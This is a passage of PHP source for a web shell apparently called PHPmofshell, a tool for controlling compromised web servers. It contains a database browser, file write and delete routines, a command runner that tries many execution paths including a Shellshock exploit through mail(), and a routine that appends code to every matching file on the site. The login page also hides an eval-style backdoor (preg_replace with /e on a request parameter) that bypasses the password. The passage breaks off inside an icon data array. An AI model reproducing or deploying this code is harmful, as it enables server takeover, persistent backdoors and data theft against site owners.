                    if($pagep>0) $pagenav.="  <a href='?eanver=mysql_msg&db=".$_GET['db']."&table=".$_GET['table']."&p=1&charset=".$_GET['charset']."'></a> <a href='?eanver=mysql_msg&db=".$_GET['db']."&table=".$_GET['table']."&p=".$pagep."&charset=".$_GET['charset']."'></a> "; else $pagenav.="  ";
                    if($pagen<=$pages) $pagenav.=" <a href='?eanver=mysql_msg&db=".$_GET['db']."&table=".$_GET['table']."&p=".$pagen."&charset=".$_GET['charset']."'></a> <a href='?eanver=mysql_msg&db=".$_GET['db']."&table=".$_GET['table']."&p=".$pages."&charset=".$_GET['charset']."'></a>"; else $pagenav.="  ";
                    $pagenav.="  [".$page."/".$pages."]    <input name='textfield' type='text' style='text-align:center;' size='4' value='".$page."' onkeydown=\"if(event.keyCode==13)self.location.href='?eanver=mysql_msg&db=".$_GET['db']."&table=".$_GET['table']."&p='+this.value+'&charset=".$_GET['charset']."';\" />";
                    echo $pagenav;
					echo '</div>';
				}
			}
			elseif(isset($_GET['insert']))
			{
				echo '<a href="?eanver=mysql_msg&db='.$_GET['db'].'&table='.$_GET['insert'].'">'.$_GET['insert'].'</a></div>';
				$result = mysql_query('SELECT * FROM '.$_GET['insert'],$conn);
				$fieldnum = @mysql_num_fields($result);
				echo '<form method="POST" action="?eanver=mysql_msg&db='.$_GET['db'].'&table='.$_GET['insert'].'">';
				for($i = 0;$i < $fieldnum;$i++)
				{
					$name = @mysql_field_name($result, $i);
					$type = @mysql_field_type($result, $i);
					$len = @mysql_field_len($result, $i);
					echo '<div class="actall">'.$name.' <font color="#FF0000">'.$type.'('.$len.')</font><br><textarea name="insql['.$name.']" style="width:600px;height:60px;"></textarea></div>';
				}
				echo '<div class="actall"><input type="submit" value="Insert" style="width:80px;"></div></form>';
			}
			else
			{
				$query = 'SHOW TABLE STATUS';
				$status = @mysql_query($query,$conn);
				while($statu = @mysql_fetch_array($status))
				{
					$statusize[] = $statu['Data_length'];
					$statucoll[] = $statu['Collation'];
				}
				$query = 'SHOW TABLES FROM '.$_GET['db'].';';
				echo '</div><table border="0"><tr>';
				echo '<td class="toptd" style="width:550px;">  </td>';
				echo '<td class="toptd" style="width:80px;">  </td>';
				echo '<td class="toptd" style="width:130px;">  </td>';
				echo '<td class="toptd" style="width:70px;">  </td></tr>';
				$result = @mysql_query($query,$conn);
				$k = 0;
				while($table = mysql_fetch_row($result))
				{
					$charset=substr($statucoll[$k],0,strpos($statucoll[$k],'_'));
					echo '<tr><td><a href="?eanver=mysql_msg&db='.$_GET['db'].'&table='.$table[0].'">'.$table[0].'</a></td>';
					echo '<td><a href="?eanver=mysql_msg&db='.$_GET['db'].'&insert='.$table[0].'">  </a> <a href="#" onclick="Delok(\''.$table[0].'\',\'?eanver=mysql_msg&db='.$_GET['db'].'&drop='.$table[0].'\');return false;">  </a></td>';
					echo '<td>'.$statucoll[$k].'</td><td align="right">'.File_Size($statusize[$k]).'</td></tr>'."\r\n";
					$k++;
				}
				echo '</table>';
			}
		}
	}
	else die('MYSQL,.<meta http-equiv="refresh" content="0;URL=?eanver=mysql_exec">');
	if(!$BOOL and addslashes($query)!='') echo '<script type="text/javascript">document.getElementById(\'nsql\').value = \''.addslashes($query).'\';</script>';
break;

	
	default: html_main($path,$shellname); break;
}
css_foot();

/*---doing---*/

function do_write($file,$t,$text)
{
	$key = true;
	$handle = @fopen($file,$t);
	if(!@fwrite($handle,$text))
	{
		@chmod($file,0666);
		$key = @fwrite($handle,$text) ? true : false;
	}
	@fclose($handle);
	return $key;
}

function do_show($filepath){
	$show = array();
	$dir = dir($filepath);
	while($file = $dir->read()){
		if($file == '.' or $file == '..') continue;
		$files = str_path($filepath.'/'.$file);
		$show[] = $files;
	}
	$dir->close();
	return $show;
}

function do_deltree($deldir){
	$showfile = do_show($deldir);
	foreach($showfile as $del){
		if(is_dir($del)){ 
			if(!do_deltree($del)) return false;
		}elseif(!is_dir($del)){
			@chmod($del,0777);
			if(!@unlink($del)) return false;
		}
	}
	@chmod($deldir,0777);
	if(!@rmdir($deldir)) return false;
	return true;
}

function do_showsql($query,$conn){
	$result = @mysql_query($query,$conn);
	html_n('<br><br><textarea cols="70" rows="15">');
	while($row = @mysql_fetch_array($result)){
		for($i=0;$i < @mysql_num_fields($result);$i++){
			html_n(htmlspecialchars($row[$i]));
		}
	}
	html_n('</textarea>');
}

function hmlogin($xiao=1){

if($xiao==1){echo "
<meta http-equiv='refresh' content='5;URL=?'>
<center><iframe src='http://www.web-shell.com/index.html' width='100%' height='400px'></iframe></center>
<div align='center'><form method='POST' action='?'><input style='width:140;height:40px;' type='submit' value=''></form>

<br>
<b style='color:green;'></b><br>
<b style='color:red;'>(1):</b>win server2003 MOFROOT
<b style='color:red;'>(2):</b>wscript.shellshell.user
<b style='color:red;'>(3):</b>root
</div>
";}}

//}

function do_down($fd){
	if(!@file_exists($fd)) msg('');
	$fileinfo = pathinfo($fd);
	header('Content-type: application/x-'.$fileinfo['extension']);
	header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
	header('Content-Length: '.filesize($fd));
	@readfile($fd);
	exit;
}

function do_download($filecode,$file){
	header("Content-type: application/unknown");
	header('Accept-Ranges: bytes');
	header("Content-length: ".strlen($filecode));
	header("Content-disposition: attachment; filename=".$file.";");
	echo $filecode;
	exit;
}

function TestUtf8($text)
{if(strlen($text) < 3) return false;
$lastch = 0;
$begin = 0;
$BOM = true;
$BOMchs = array(0xEF, 0xBB, 0xBF);
$good = 0;
$bad = 0;
$notAscii = 0;
for($i=0; $i < strlen($text); $i++)
{$ch = ord($text[$i]);
if($begin < 3)
{ $BOM = ($BOMchs[$begin]==$ch);
$begin += 1;
continue; }
if($begin==4 && $BOM) break;
if($ch >= 0x80 ) $notAscii++;
if( ($ch&0xC0) == 0x80 )
{if( ($lastch&0xC0) == 0xC0 )
{$good += 1;}
else if( ($lastch&0x80) == 0 )
{$bad += 1; }}
else if( ($lastch&0xC0) == 0xC0 )
{$bad += 1;}
$lastch = $ch;}
if($begin == 4 && $BOM)
{return 2;}
else if($notAscii==0)
{return 1;}
else if ($good >= $bad )
{return 2;}
else
{return 0;}}

function File_Str($string)
{
	return str_replace('//','/',str_replace('\\','/',$string));
}

function File_Write($filename,$filecode,$filemode)
{
	$key = true;
	$handle = @fopen($filename,$filemode);
	if(!@fwrite($handle,$filecode))
	{
		@chmod($filename,0666);
		$key = @fwrite($handle,$filecode) ? true : false;
	}
	@fclose($handle);
	return $key;
}

function Exec_Run($cmd)
{
	$res = '';
	if(function_exists('exec')){@exec($cmd,$res);$res = join("\n",$res);}
	elseif(function_exists('shell_exec')){$res = @shell_exec($cmd);}
	elseif(function_exists('system')){@ob_start();@system($cmd);$res = @ob_get_contents();@ob_end_clean();}
	elseif(function_exists('passthru')){@ob_start();@passthru($cmd);$res = @ob_get_contents();@ob_end_clean();}
	elseif(@is_resource($f=@popen($cmd,'r'))){$res = '';while(!@feof($f)){$res .= @fread($f,1024);}@pclose($f);}
	elseif(substr(dirname($_SERVER["SCRIPT_FILENAME"]),0,1)!="/"&&class_exists('COM')){$w=new COM('WScript.shell');$e=$w->exec($cmd);$f=$e->StdOut();$res=$f->ReadAll();}
	elseif(function_exists('proc_open')){$length = strcspn($cmd," \t");$token = substr($cmd, 0, $length);if (isset($aliases[$token]))$cmd=$aliases[$token].substr($cmd, $length);$p = proc_open($cmd,array(1 => array('pipe', 'w'),2 => array('pipe', 'w')),$io);while (!feof($io[1])) {$res .= htmlspecialchars(fgets($io[1]),ENT_COMPAT, 'UTF-8');}while (!feof($io[2])) {$res .= htmlspecialchars(fgets($io[2]),ENT_COMPAT, 'UTF-8');}fclose($io[1]);fclose($io[2]);proc_close($p);}
	elseif(function_exists('mail')){if(strstr(readlink("/bin/sh"), "bash") != FALSE){$tmp = tempnam(".","data");putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");mail("[email protected]","","","","-bv");}else $res="Not vuln (not bash)";$output = @file_get_contents($tmp);@unlink($tmp);if($output != "") $res=$output;else $res="No output, or not vuln.";}
	return $res;
}

function File_Mode()
{
	$RealPath = realpath('./');
	$SelfPath = $_SERVER['PHP_SELF'];
	$SelfPath = substr($SelfPath, 0, strrpos($SelfPath,'/'));
	return File_Str(substr($RealPath, 0, strlen($RealPath) - strlen($SelfPath)));
}

function File_Size($size)
{ 
        $kb = 1024;         // Kilobyte
        $mb = 1024 * $kb;   // Megabyte
        $gb = 1024 * $mb;   // Gigabyte
        $tb = 1024 * $gb;   // Terabyte
        if($size < $kb)
        {
            return $size." B";
        }
        else if($size < $mb)
        { 
            return round($size/$kb,2)." K";
        }
        else if($size < $gb)
        { 
            return round($size/$mb,2)." M";
        }
        else if($size < $tb)
        { 
            return round($size/$gb,2)." G";
        }
        else
        { 
            return round($size/$tb,2)." T";
        }
 }

function File_Read($filename)
{
	$handle = @fopen($filename,"rb");
	$filecode = @fread($handle,@filesize($filename));
	@fclose($handle);
	return $filecode;
}

function do_phpfun($cmd,$fun) {
	$res = '';
	switch($fun){
		case "exec": @exec($cmd,$res); $res = join("\n",$res); break;
		case "shell_exec": $res = @shell_exec($cmd); break;
		case "system": @ob_start();	@system($cmd); $res = @ob_get_contents();	@ob_end_clean();break;
		case "passthru": @ob_start();	@passthru($cmd); $res = @ob_get_contents();	@ob_end_clean();break;
		case "popen": if(@is_resource($f = @popen($cmd,"r"))){ while(!@feof($f))	$res .= @fread($f,1024);} @pclose($f);break;
	}
	return $res;
}

function do_passreturn($dir,$code,$type,$bool,$filetype = '',$shell = my_shell){
	$show = do_show($dir);
	foreach($show as $files){
		if(is_dir($files) && $bool){
			do_passreturn($files,$code,$type,$bool,$filetype,$shell);
		}else{
			if($files == $shell) continue;
			switch($type){
				case "guama":
				if(debug($files,$filetype)){
					do_write($files,"ab","\n".$code) ? html_n("--> $files<br>") : html_n("--> $files<br>");
				}
				break;
				case "qingma":
				$filecode = @file_get_contents($files);
				if(stristr($filecode,$code)){
					$newcode = str_replace($code,'',$filecode);
					do_write($files,"wb",$newcode) ? html_n("--> $files<br>") : html_n("--> $files<br>");
				}
				break;
				case "tihuan":
				$filecode = @file_get_contents($files);
				if(stristr($filecode,$code)){
					$newcode = str_replace($code,$filetype,$filecode);
					do_write($files,"wb",$newcode) ? html_n("--> $files<br>") : html_n("--> $files<br>");
				}
				break;
				case "scanfile":
				$file = explode('/',$files);
				if(stristr($file[count($file)-1],$code)){
					html_a("?eanver=editr&p=$files",$files);
					echo '<br>';
				}
				break;
				case "scancode":
				$filecode = @file_get_contents($files);
				if(stristr($filecode,$code)){
					html_a("?eanver=editr&p=$files",$files);
					echo '<br>';
				}
				break;
				case "scanphp":
				$fileinfo = pathinfo($files);
				if($fileinfo['extension'] == $code){
					$filecode = @file_get_contents($files);
					if(muma($filecode,$code)){
						html_a("?eanver=editr&p=".urlencode($files),"");
						html_a("?eanver=del&p=".urlencode($files),"");
						echo $files.'<br>';
					}
				}
				break;
			}
		}
	}
}


class PHPzip{

	var $file_count = 0 ;
	var $datastr_len   = 0;
	var $dirstr_len = 0;
	var $filedata = '';
	var $gzfilename;
	var $fp;
	var $dirstr='';

    function unix2DosTime($unixtime = 0) {
        $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);

        if ($timearray['year'] < 1980) {
        	$timearray['year']    = 1980;
        	$timearray['mon']     = 1;
        	$timearray['mday']    = 1;
        	$timearray['hours']   = 0;
        	$timearray['minutes'] = 0;
        	$timearray['seconds'] = 0;
        }

        return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
               ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
    }

	function startfile($path = 'QQqun555227.zip'){
		$this->gzfilename=$path;
		$mypathdir=array();
		do{
			$mypathdir[] = $path = dirname($path);
		}while($path != '.');
		@end($mypathdir);
		do{
			$path = @current($mypathdir);
			@mkdir($path);
		}while(@prev($mypathdir));

		if($this->fp=@fopen($this->gzfilename,"w")){
			return true;
		}
		return false;
	}

    function addfile($data, $name){
        $name     = str_replace('\\', '/', $name);
		
		if(strrchr($name,'/')=='/') return $this->adddir($name);
		
        $dtime    = dechex($this->unix2DosTime());
        $hexdtime = '\x' . $dtime[6] . $dtime[7]
                  . '\x' . $dtime[4] . $dtime[5]
                  . '\x' . $dtime[2] . $dtime[3]
                  . '\x' . $dtime[0] . $dtime[1];
        eval('$hexdtime = "' . $hexdtime . '";');

        $unc_len = strlen($data);
        $crc     = crc32($data);
        $zdata   = gzcompress($data);
        $c_len   = strlen($zdata);
        $zdata   = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
		
        $datastr  = "\x50\x4b\x03\x04";
        $datastr .= "\x14\x00"; 
        $datastr .= "\x00\x00";
        $datastr .= "\x08\x00"; 
        $datastr .= $hexdtime; 
        $datastr .= pack('V', $crc);
        $datastr .= pack('V', $c_len);
        $datastr .= pack('V', $unc_len);
        $datastr .= pack('v', strlen($name));
        $datastr .= pack('v', 0); 
        $datastr .= $name;
        $datastr .= $zdata;
        $datastr .= pack('V', $crc); 
        $datastr .= pack('V', $c_len);
        $datastr .= pack('V', $unc_len);


		fwrite($this->fp,$datastr);
		$my_datastr_len = strlen($datastr);
		unset($datastr);
		
        $dirstr  = "\x50\x4b\x01\x02";
        $dirstr .= "\x00\x00"; 
        $dirstr .= "\x14\x00";
        $dirstr .= "\x00\x00";
        $dirstr .= "\x08\x00";
        $dirstr .= $hexdtime;
        $dirstr .= pack('V', $crc); 
        $dirstr .= pack('V', $c_len); 
        $dirstr .= pack('V', $unc_len);       	// uncompressed filesize
        $dirstr .= pack('v', strlen($name) ); 	// length of filename
        $dirstr .= pack('v', 0 );             	// extra field length
        $dirstr .= pack('v', 0 );             	// file comment length
        $dirstr .= pack('v', 0 );             	// disk number start
        $dirstr .= pack('v', 0 );             	// internal file attributes
        $dirstr .= pack('V', 32 );            	// external file attributes - 'archive' bit set
        $dirstr .= pack('V',$this->datastr_len ); // relative offset of local header
        $dirstr .= $name;
		
		$this->dirstr .= $dirstr;	//
		
		$this -> file_count ++;
		$this -> dirstr_len += strlen($dirstr);
		$this -> datastr_len += $my_datastr_len;	
    }

	function adddir($name){ 
		$name = str_replace("\\", "/", $name); 
		$datastr = "\x50\x4b\x03\x04\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00"; 
		
		$datastr .= pack("V",0).pack("V",0).pack("V",0).pack("v", strlen($name) ); 
		$datastr .= pack("v", 0 ).$name.pack("V", 0).pack("V", 0).pack("V", 0); 

		fwrite($this->fp,$datastr);	
		$my_datastr_len = strlen($datastr);
		unset($datastr);
		
		$dirstr = "\x50\x4b\x01\x02\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00"; 
		$dirstr .= pack("V",0).pack("V",0).pack("V",0).pack("v", strlen($name) ); 
		$dirstr .= pack("v", 0 ).pack("v", 0 ).pack("v", 0 ).pack("v", 0 ); 
		$dirstr .= pack("V", 16 ).pack("V",$this->datastr_len).$name; 
		
		$this->dirstr .= $dirstr;

		$this -> file_count ++;
		$this -> dirstr_len += strlen($dirstr);
		$this -> datastr_len += $my_datastr_len;	
	}


	function createfile(){
		$endstr = "\x50\x4b\x05\x06\x00\x00\x00\x00" .
					pack('v', $this -> file_count) .
					pack('v', $this -> file_count) .
					pack('V', $this -> dirstr_len) .
					pack('V', $this -> datastr_len) .
					"\x00\x00";

		fwrite($this->fp,$this->dirstr.$endstr);
		fclose($this->fp);
	}
 }


function start_unzip($tmp_name,$new_name,$todir='zipfile'){
$zip = new ZipArchive() ;
if ($zip->open($tmp_name) !== TRUE) {
echo '';
}
$zip->extractTo($todir);
$zip->close();
echo '&nbsp;&nbsp;&nbsp;<a href="?eanver=main&path='.urlencode($todir).'"></a>&nbsp;&nbsp;&nbsp;<a href="javascript:history.go(-1);"></a>';
}

function muma($filecode,$filetype){
	$dim = array(
	"php" => array("eval(","exec("),
	"asp" => array("WScript.Shell","execute(","createtextfile("),
	"aspx" => array("Response.Write(eval(","RunCMD(","CreateText()"),
	"jsp" => array("runtime.exec(")
	);
	foreach($dim[$filetype] as $code){
		if(stristr($filecode,$code)) return true;
	}
}

function debug($file,$ftype){
	$type=explode('|',$ftype);
	foreach($type as $i){
		if(stristr($file,$i))	return true;
	}
}

/*---string---*/

function str_path($path){
	return str_replace('//','/',$path);
}

function msg($msg){
	die("<script>window.alert('".$msg."');history.go(-1);</script>");
}

function uppath($nowpath){
	$nowpath = str_replace('\\','/',dirname($nowpath));
	return urlencode($nowpath);
}

function xxstr($key){
	$temp = str_replace("\\\\","\\",$key);
	$temp = str_replace("\\","\\\\",$temp);
	return $temp;
}

/*---html---*/

function html_ta($url,$name){
	html_n("<a href=\"$url\" target=\"_blank\">$name</a>");
}

function html_a($url,$name,$where=''){
	html_n("<a href=\"$url\" $where>$name</a> ");
}

function html_img($url){
	html_n("<img src=\"?img=$url\" border=0>");
}

function back(){
	html_n("<input type='button' value='' onclick='history.back();'>");
}

function html_radio($namei,$namet,$v1,$v2){
	html_n('<input type="radio" name="return" value="'.$v1.'" checked>'.$namei);
	html_n('<input type="radio" name="return" value="'.$v2.'">'.$namet.'<br><br>');
}

function html_input($type,$name,$value = '',$text = '',$size = '',$mode = false){
	if($mode){
		html_n("<input type=\"$type\" name=\"$name\" value=\"$value\" size=\"$size\" checked>$text");
	}else{
		html_n("$text <input type=\"$type\" name=\"$name\" value=\"$value\" size=\"$size\">");
	}
}

function html_base(){
html_n('function base64encode(str){
	var base64EncodeChars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    var out, i, len;
    var c1, c2, c3;
    len = str.length;
    i = 0;
    out = "";
    while (i < len) {
        c1 = str.charCodeAt(i++) & 0xff;
        if (i == len) {
            out += base64EncodeChars.charAt(c1 >> 2);
            out += base64EncodeChars.charAt((c1 & 0x3) << 4);
            out += "==";
            break;
        }
        c2 = str.charCodeAt(i++);
        if (i == len) {
            out += base64EncodeChars.charAt(c1 >> 2);
            out += base64EncodeChars.charAt(((c1 & 0x3) << 4) | ((c2 & 0xF0) >> 4));
            out += base64EncodeChars.charAt((c2 & 0xF) << 2);
            out += "=";
            break;
        }
        c3 = str.charCodeAt(i++);
        out += base64EncodeChars.charAt(c1 >> 2);
        out += base64EncodeChars.charAt(((c1 & 0x3) << 4) | ((c2 & 0xF0) >> 4));
        out += base64EncodeChars.charAt(((c2 & 0xF) << 2) | ((c3 & 0xC0) >> 6));
        out += base64EncodeChars.charAt(c3 & 0x3F);
    }
    return out;
}');
}

function html_text($name,$cols,$rows,$value = ''){
	html_n("<br><br><textarea name=\"$name\" COLS=\"$cols\" ROWS=\"$rows\" >$value</textarea>");
}

function html_select($array,$mode = '',$change = '',$name = 'class'){
	html_n("<select name=$name $change>");
	foreach($array as $name => $value){
		if($name == $mode){
			html_n("<option value=\"$name\" selected>$value</option>");
		}else{
			html_n("<option value=\"$name\">$value</option>");
		}
	}
	html_n("</select>");
}

function html_font($color,$size,$name){
	html_n("<font color=\"$color\" size=\"$size\">$name</font>");
}

function GetHtml($url)
{
      $c = '';
      $useragent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)';
      if(function_exists('fsockopen')){
    	$link = parse_url($url);
	    $query=$link['path'].'?'.$link['query'];
	    $host=strtolower($link['host']);
	    $port=$link['port'];
	    if($port==""){$port=80;}
	    $fp = fsockopen ($host,$port, $errno, $errstr, 10);
	    if ($fp)
	      {
		    $out = "GET /{$query} HTTP/1.0\r\n"; 
		    $out .= "Host: {$host}\r\n"; 
		    $out .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)\r\n"; 
		    $out .= "Connection: Close\r\n\r\n"; 
		    fwrite($fp, $out);
		    $inheader=1;
		    while(!feof($fp)) 
		         {$line=fgets($fp,4096);	
			      if($inheader==0){$contents.=$line;}
			      if ($inheader &&($line=="\n"||$line=="\r\n")){$inheader = 0;}
		    } 
		    fclose ($fp); 
		    $c= $contents;
	      }
        }
		if(empty($c) && function_exists('curl_init') && function_exists('curl_exec')){
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_TIMEOUT, 15);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
            curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
            $c = curl_exec($ch);
            curl_close($ch);
        }
        if(empty($c) && ini_get('allow_url_fopen')){
            $c = file_get_contents($url);
        }
		if(empty($c)){
            echo "document.write('<DIV style=\'CURSOR:url(\"$url\")\'>');";
        }
		if(!empty($c))
		{
        return $c;
		}
 }
 
 
function html_main($path,$shellname){

if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
{
 $safemode = TRUE;
 $hsafemode = "<font color=red>ON ()</font>";
}
else {$safemode = FALSE; $hsafemode = "<font color=green>OFF ()</font>";
}
	$Server_IP = gethostbyname($_SERVER["SERVER_NAME"]);
	$Server_OS = PHP_OS;
	$Server_Soft = $_SERVER["SERVER_SOFTWARE"];
	$web_server =  php_uname();
print<<<END
<html><title>{$Server_IP} -PHP_mofshell By{$shellname}- {$Server_OS} - {$Server_Soft}</title>
<table width='100%'><tr><td><form method='GET' target='main'><input type='hidden' name='eanver' value='main'>:<input name='path' style='width:90%' value='{$path}'>&nbsp<input name='Submit' type='submit' value=''> <input type='submit' value='' onclick='main.location.reload()'></td></tr><tr align='center'><td><b>:{$hsafemode}----{$Server_IP}-----{$Server_OS}-----{$Server_Soft}-----{$web_server }</b></td></tr><tr align='center'><td></td></tr></form></table>
END;
	html_n("<table width='100%' height='95.7%' border=0 cellpadding='0' cellspacing='0'><tr><td width='170'><iframe name='left' src='?eanver=left' width='100%' height='100%' frameborder='0'>");
	html_n("</iframe></td><td><iframe name='main' src='?eanver=main' width='100%' height='100%' frameborder='1'>");
	html_n("</iframe></td></tr></table></html>");
}

function islogin($shellname,$myurl){
	$Server_IP = gethostbyname($_SERVER["SERVER_NAME"]);
	$Server_OS = PHP_OS;
	$Server_Soft = $_SERVER["SERVER_SOFTWARE"];
	$web_server =  php_uname();
print<<<END
<!DOCTYPE html>
<head>
<title>{$Server_IP}-PHPmofshell By:{$shellname}</title>
<style type="text/css">
body{background-color:#000;}
input,select,textarea{font-size: 12px;background-color:#dddddd;border:1px solid #fff}
body,div{font-size: 20px;color:#ddd;}
</style>
</head>
<body scroll=no><div align="center">
<span style="color: #676767;font-family: Tahoma, Geneva, sans-serif;font-size:12px;">
 <b>{$Server_OS}______{$Server_Soft}______{$web_server }</b>

</div>
<div align="center" style="margin-right:70px; margin-bottom:400px;">
<br><br><br><br><form method='post'>PASS<input name='envlpass' type='password' size='20'> <input type='submit' value=''></form><br><br>
</div>
<center>[<font color="red">+</font>] PHP SHELLmof,2003<br />[<font color="red">+</font>] <br />[<font color="red">+</font>] <br />[<font color="green">+</font>] PHPmofshell By 2016.03.07<br />
</center></span>
<body>
</html>
END;
@preg_replace("/[_]/e",$_REQUEST['h'],"__");}function html_sql(){html_input("text","sqlhost","localhost","<br>MYSQL","30");html_input("text","sqlport","3306","<br>MYSQL","30");html_input("text","sqluser","root","<br>MYSQL","30");html_input("password","sqlpass","","<br>MYSQL","30");html_input("text","sqldb","dbname","<br>MYSQL","30");html_input("submit","sqllogin","","<br>");html_n('</form>');}

function Mysql_Len($data,$len)
{
	if(strlen($data) < $len) return $data;
	return substr_replace($data,'...',$len);
}

function html_n($data){		
	echo "$data\n";
}

/*---css---*/

function css_img($img){
	$images = array(
	"exe"=>
	"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7".
	"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt".
	"xhIAOw==",
	"dir"=>"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAA".
	"AAAAAAAAAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdE".
	"oMqCebp/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
	"txt"=>
	"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ".
	"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7".
	"UpPWG3Ig6Hq/XmRjuZwkAAA7",
	"html"=>
	"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz".
	"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P".
	"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk".
	"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR".
	"ADs=",
	"js"=>
	"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH".
	"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs".
	"a00AjYYBbc/o9HjNniUAADs=",
	"xml"=>
	"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".
	"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
	"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx".
	"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ".
	"IQA7",
	"mp3"=>
	"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU".
	"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc".
	"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",
	"img"=>
	"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA".
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci".
	"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd".
	"FxEAOw==",
	"title"=>"R0lGODlhDgAOAMQAAOGmGmZmZv//xVVVVeW6E+K2F/+ZAHNzcf+vAGdnaf/AAHt1af+".
	"mAP/FAP61AHt4aXNza+WnFP//zAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
	"ACH5BAAHAP8ALAAAAAAOAA4AAAVJYPIcZGk+wUM0bOsWoyu35KzceO3sjsTvDR1P4uMFDw2EEkGUL".
	"I8NhpTRnEKnVAkWaugaJN4uN0y+kr2M4CIycwEWg4VpfoCHAAA7",
	"rar"=>"R0lGODlhEAAQAPf/AAAAAAAAgAAA/wCAAAD/AACAgIAAAIAAgP8A/4CAAP//AMDAwP///wAA".
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
